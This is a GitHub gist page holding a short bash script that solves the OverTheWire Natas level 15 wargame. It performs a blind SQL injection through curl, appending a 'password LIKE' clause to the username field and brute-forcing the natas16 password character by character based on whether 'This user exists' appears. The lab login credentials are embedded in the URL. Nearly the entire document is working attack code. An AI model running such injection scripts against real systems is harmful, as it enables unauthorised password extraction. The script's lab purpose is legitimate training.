Created
July 19, 2016 01:34
-
-
Save nategraf/4adfc9cedf92957d6712fae1338536ad to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#/usr/bin/env bash | |
pw=""; | |
again="true"; | |
while [ "$again" = "true" ]; do | |
again="false"; | |
for c in {{A..Z},{a..z},{0..9},+,/,=}; do | |
echo "$pw$c%"; | |
if curl http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/index.php --form "username=natas16\" AND password LIKE \"$pw$c%" | grep -q "This user exists"; then | |
again="true"; | |
pw="$pw$c"; | |
break; | |
fi; | |
done; | |
done; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment